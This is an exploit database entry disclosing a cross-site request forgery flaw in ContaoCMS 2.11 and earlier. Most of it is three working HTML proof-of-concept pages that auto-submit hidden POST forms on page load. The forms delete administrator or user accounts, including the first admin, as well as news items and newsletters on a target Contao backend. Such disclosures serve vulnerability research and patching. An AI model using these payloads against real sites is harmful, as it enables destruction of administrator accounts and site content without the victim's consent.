ContaoCMS (aka TYPOlight) 2.11 - Cross-Site Request Forgery (Delete Admin / Delete Article)

EDB-ID:

18527




Platform:

PHP

Date:

2012-02-26


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# Exploit Title : ContaoCMS (aka TYPOlight) <= 2.11 CSRF (Delete Admin- Delete Article)
# Date          : 25-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Software link : http://www.contao.org/en/download.html
# Vendor site   : http://www.contao.org
# Version       : 2.11.0 (latest) and lower 
# Tested on     : Debian Squeeze (6.0) 
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Summary
1)Introduction
2)Vulnerabilities Description
  2.1 Delete Administrators or Users 
  2.2 Delete News
  2.3 Delete Newsletter
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1)Introduction
Contao (fka TYPOlight) is "an open source content management system (CMS) for people who want a professional internet presence that
is easy to maintain".

2)Vulnerabilities Description
Contao 2.11 (and lower)  is affected by CSRF Vulnerability which allows an attacker to delete admins/users, delete web pages 
(articles, news, newsletter and so on).
 
 2.1 Delete Administrators or Users
  <html>
  <body onload="javascript:document.forms[0].submit()">
  <H2>CSRF Exploit to delete ADMIN/USER account</H2>
  <form method="POST" name="form0" action="http://<contao_ip>:80/contao/main.php?do=user&act=delete&id=2">
  </body>
  </html>

  Note that the is possible to delete any admin/user, also the first administrator (id=1) created during Contao's installation phase.
  
  2.2 Delete News
  <html>
  <body onload="javascript:document.forms[0].submit()">
  <H2>CSRF Exploit to delete News</H2>
  <form method="POST" name="form0" action="http://<contao_ip>:80/contao/main.php?do=news&act=delete&id=1">
  </form>
  </body>
  </html>


  2.3 Delete Newsletter 
  <html>
  <body onload="javascript:document.forms[0].submit()">
  <H2>CSRF Exploit to delete Newsletter</H2>
  <form method="POST" name="form0" action="http://<contao_ip>:80/contao/contao/main.php?do=newsletter&act=delete&id=1">
  </form>
  </body>
  </html>
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